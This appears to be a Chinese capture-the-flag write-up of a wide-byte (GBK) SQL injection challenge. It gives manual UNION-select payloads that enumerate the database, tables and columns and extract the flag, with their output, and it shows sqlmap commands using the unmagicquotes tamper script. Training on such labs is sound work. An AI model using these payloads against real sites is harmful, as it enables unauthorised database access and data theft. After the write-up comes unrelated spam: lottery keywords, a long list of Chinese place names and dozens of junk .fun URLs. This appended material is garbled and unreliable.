<thead id="lptrh"></thead>

      <sub id="lptrh"></sub>

            <form id="lptrh"></form>
            <sub id="lptrh"></sub>

            <address id="lptrh"></address>
            <sub id="lptrh"></sub>

            <sub id="lptrh"></sub>

              (宽字节注入) 手注+sqlmap

              进入题目后先简单尝试一下。

              分享图片

               

              很明显的宽字节注入。

              宽字节注入就是用一个大于128的十六进制数来吃掉转义符\,gbk编码,字节作为一个字符的编码.

              手工注入
              1、判断列数:
              http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 order by 1%23
              http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 order by 2%23
              http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 order by 3%23
              order by 3 时报错,说明只有两列。

              2、各类信息:
              http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 and 1=2
              union select 2,(concat_ws(char(32,58,32),user(),database(),version()))%23
              [email protected] : sae-chinalover : 5.5.52-0ubuntu0.14.04.1

              3、库名:
              http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 and 1=2 union select 2,database()%23
              sae-chinalover

              4、表名:
              http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 and 1=2
              union select 2,group_concat(table_name)
              from information_schema.tables
              where table_schema=database()%23
              ctf,ctf2,ctf3,ctf4,news

              5、ctf4表的列名:
              http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 and 1=2
              union select 2,group_concat(column_name)
              from information_schema.columns
              where table_name=0x63746634%23
              id,flag

              这里注意:要将表名ctf4转为16进制

              这里提供一个字符串转16进制的网站:

              http://www.5ixuexiwang.com/str/hex.php

              转了16进制之后记得在前面加上0x

              6、flag列的数据:
              http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 and 1=2
              union select 2,(select flag from ctf4)%23
              flag{this_is_sqli_flag}

              sqlmap跑法
              1、查看有哪些库:
              sqlmap.py -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=3" --tamper unmagicquotes --dbs
              这个时侯就要用到一个脚本了:

              脚本名:unmagicquotes.py

              作用:宽字符绕过

              分享图片

               

               

              2、表名:

              sqlmap.py -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=3" --tamper unmagicquotes -D `sae-chinalover` --tables

              分享图片

               

               

              3、列名:

              sqlmap.py -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=3" --tamper unmagicquotes -D `sae-chinalover` -T ctf4 --columns

               分享图片

               

               

              4、flag列的数据:
              sqlmap.py -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=3" --tamper unmagicquotes -D `sae-chinalover` -T ctf4 -C flag

              分享图片

              相关文章
              相关标签/搜索
              王中王开奖结果 查2020开奖记录查询结果香港马会开奖结果手机报码现场直播二四六天天好彩免费资料大全历史纪录在线查询网 子长县| 牡丹江市| 宁明县| 胶南市| 马山县| 武威市| 两当县| 齐齐哈尔市| 合山市| 麻阳| 祁连县| 五莲县| 蒙山县| 千阳县| 全南县| 原阳县| 高碑店市| 岫岩| 即墨市| 尤溪县| 广饶县| 蒙山县| 墨脱县| 安宁市| 安义县| 济阳县| 房产| 东阳市| 高陵县| 台州市| 沧州市| 诸暨市| 邢台县| 达拉特旗| 米林县| 关岭| 龙井市| 京山县| 太仓市| 泸溪县| 祁门县| 桂东县| 芷江| 古交市| 宜章县| 思南县| 迭部县| 普定县| 西乌珠穆沁旗| 宜兴市| 陆丰市| 崇义县| 合阳县| 昌乐县| 仙居县| 新竹县| 肇源县| 惠东县| 武安市| 临西县| 临江市| 拉孜县| 巴马| 牙克石市| 五寨县| 阳山县| 大同市| 兰溪市| 丁青县| 康平县| 九龙县| 报价| 绥滨县| 闸北区| 杭州市| 阜宁县| 若羌县| 自贡市| 什邡市| 乌拉特后旗| 五指山市| 大埔县| 东乡| 金溪县| 册亨县| 威海市| 合江县| 东乡族自治县| 盐城市| 南京市| 富锦市| 张家口市| 长泰县| 句容市| 临澧县| 新宾| 随州市| 弋阳县| 彭阳县| 河曲县| 襄城县| 龙游县| 凌源市| 炉霍县| 永嘉县| 乌鲁木齐市| 泊头市| 衡阳市| 拜泉县| 古丈县| 苍溪县| 水富县| 长子县| 凉城县| 寿宁县| 芜湖市| 澜沧| 东丰县| 久治县| 汝城县| 景宁| 灌阳县| 宝坻区| 仁寿县| 乳源| 鹤岗市| 青田县| 缙云县| 普兰店市| 杭锦旗| 历史| 伊通| 东乡族自治县| 泰宁县| 革吉县| 襄垣县| 金乡县| 赞皇县| 永修县| 黎川县| 萨迦县| 临潭县| 石棉县| 乌鲁木齐市| 阳曲县| 大姚县| 阳山县| 黎城县| 荆州市| 调兵山市| 嘉兴市| 普宁市| 新河县| 安吉县| 武鸣县| 灵川县| 克拉玛依市| 买车| 永和县| 康马县| 浦江县| 康定县| 淮滨县| 定兴县| 林州市| 含山县| 桂阳县| 习水县| 社会| 吉安市| 余江县| 普洱| 翼城县| 宁安市| 乌兰县| 宁化县| 镇远县| 临汾市| 东兰县| 呼图壁县| 甘谷县| 南涧| 齐齐哈尔市| 都昌县| 监利县| 丰县| 广安市| 常山县| 轮台县| 蓬莱市| 新昌县| 秀山| 丹凤县| 浮山县| 浮梁县| 阳西县| 延安市| 台北县| 申扎县| 南岸区| 德钦县| 铜梁县| 寿宁县| 滦平县| 九龙坡区| 武邑县| 高陵县| 二连浩特市| 民和| 思南县| 固阳县| 扎鲁特旗| 韩城市| 星座| 桂平市| 河南省| 宁明县| 金寨县| 轮台县| 博白县| 清原| 双柏县| 乌拉特中旗| 麻江县| 改则县| 会宁县| 青州市| 汝州市| 孝感市| 岳普湖县| 惠东县| 阳泉市| 浦县| 武鸣县| 深泽县| 得荣县| 乌恰县| 昌乐县| 台南市| 潜山县| 梁山县| 平度市| 邢台县| 建水县| 犍为县| 余庆县| 福鼎市| 新竹县| 枣庄市| 丰县| 霍山县| 云南省| 行唐县| 卓尼县| 定西市| 北辰区| 固原市| 花莲市| 武安市| 延长县| 红原县| 澄江县| 建德市| 乌苏市| 登封市| 临泽县| 通许县| 托克逊县| 汉源县| 西乌珠穆沁旗| 泰和县| 盱眙县| 厦门市| 阿拉善左旗| 盐边县| 鹿邑县| 湖南省| 乐亭县| 南靖县| 西乡县| 上犹县| 金昌市| 寿光市| 大足县| 琼海市| 姚安县| 高雄市| 文水县| 车致| 乐山市| 紫金县| 利津县| 宜兰县| 湖口县| 贺州市| 永和县| 郸城县| 蒲江县| 皮山县| 疏附县| 辽宁省| 丰镇市| 星座| 镇平县| 太湖县| 南郑县| 长兴县| 屯昌县| 苍南县| 宜兰县| 延津县| 海晏县| 尉犁县| 沙湾县| 大同市| 宁城县| 临汾市| 于田县| 晋州市| 康马县| 抚远县| 平谷区| 清水县| 修武县| 白沙| 宝坻区| 德兴市| 水城县| 马边| 綦江县| 瓮安县| 尼勒克县| 余庆县| 景谷| 义乌市| 巩留县| 白河县| 眉山市| 海南省| 育儿| 甘德县| 定襄县| 宁波市| 汝州市| 麻江县| 工布江达县| 定襄县| 山东省| 望城县| 姜堰市| 嘉善县| 广西| 寻乌县| 辽中县| 东平县| 阿克陶县| 额尔古纳市| 庄浪县| 库伦旗| 德清县| 万年县| 临澧县| 田林县| 平远县| 嘉荫县| 迁安市| 平利县| 米易县| 嫩江县| 拜城县| 呼伦贝尔市| 区。| 青龙| 体育| 宜昌市| 津市市| 镇平县| 乐至县| 都江堰市| 剑川县| 息烽县| 吉隆县| 南郑县| 松潘县| 繁峙县| 托克逊县| 峡江县| 清镇市| 阿克| 澜沧| 南溪县| 天全县| 陆丰市| 渝中区| 阜宁县| 东辽县| 甘泉县| 保靖县| 句容市| 东山县| 砚山县| 内黄县| 南丰县| 平乡县| 石狮市| 伽师县| 高平市| 海宁市| 孝感市| 和静县| 香河县| 阜平县| 阳泉市| 元江| 蛟河市| 东乡| 四子王旗| 云安县| 饶阳县| 马关县| 姚安县| 勐海县| 宿松县| 出国| 克拉玛依市| 建德市| 抚州市| 吉安市| 东阳市| 沁水县| 洛扎县| 林口县| 日喀则市| 沛县| 政和县| 凤凰县| 肃北| 横峰县| 浦北县| 马公市| 五台县| 嘉峪关市| 防城港市| 宝丰县| 宝山区| 江城| 洪泽县| 汾阳市| 洛隆县| 常山县| 靖边县| 岳西县| 三穗县| 准格尔旗| 荆州市| 孝感市| 呈贡县| 托里县| 辽宁省| 扬中市| 新沂市| 兴隆县| 合作市| 高淳县| 水富县| 济阳县| 宁武县| 湖北省| 平泉县| 信阳市| 和田市| 印江| 阿瓦提县| 马公市| 永昌县| 南宫市| 扶风县| 都昌县| 贡山| 广平县| 名山县| 博客| 枞阳县| 色达县| 吉林市| 云安县| 北流市| 鄂州市| 仪陇县| 六盘水市| 内江市| 合肥市| 林西县| 肥乡县| 庆城县| 绥宁县| 旅游| 汤原县| 桂林市| 毕节市| 肇州县| 揭东县| 遵化市| 鄂伦春自治旗| 峡江县| 望城县| 华池县| 布尔津县| 稷山县| 博白县| 会宁县| 通辽市| 铜川市| 天柱县| 崇左市| 建湖县| 廊坊市| 衡南县| 台南市| 封开县| 辽阳县| 青冈县| 阳新县| 青川县| 哈尔滨市| 双柏县| 邓州市| 东海县| 麟游县| 连州市| 余姚市| 剑川县| 恭城| 杭锦后旗| 尤溪县| 汕尾市| 沈丘县| 潍坊市| 无锡市| 高邑县| 普定县| 崇义县| 柳林县| 宾阳县| 肥城市| 建水县| 哈尔滨市| 连平县| 礼泉县| 铁岭市| 青岛市| 龙岩市| 佛冈县| 刚察县| SHOW| 扶沟县| 敖汉旗| 尚义县| 措勤县| 克什克腾旗| 诸城市| 博客| 江西省| 莆田市| 永宁县| 泰宁县| 兴仁县| 延边| 鄂托克前旗| 德令哈市| 天峻县| 南宫市| 江城| 定州市| 华池县| 柳州市| 龙口市| 武川县| 邵东县| 英吉沙县| 云霄县| 崇阳县| 中卫市| 锡林郭勒盟| 博爱县| 嵊州市| 都江堰市| 朔州市| 太和县| 获嘉县| 定陶县| 香河县| 安塞县| 会同县| 扬州市| 海晏县| 谷城县| 杨浦区| 东丽区| 沾益县| 呼伦贝尔市| 城口县| 蓝田县| 蒲城县| 昭苏县| 望都县| 女性| 康马县| 南城县| 启东市| 区。| 莱芜市| 金湖县| 中阳县| 新竹县| http://wap.jx1870inkv.fun http://m.jx1870forecastv.fun http://m.jx1870hillv.fun http://m.jx1870finev.fun http://www.jx1870explorev.fun http://wap.hz0j3r5vo.fun http://hz0j0r0vo.fun http://wap.hz0j4r9vo.fun http://wap.jx1870hopv.fun http://jx1870hearv.fun http://jx1870lastv.fun http://jx1870laborv.fun http://www.jx1870jazzv.fun http://jx1870freev.fun http://m.jx1870ironv.fun http://jx1870japanv.fun http://jx1870izpactv.fun http://www.jx1870filterv.fun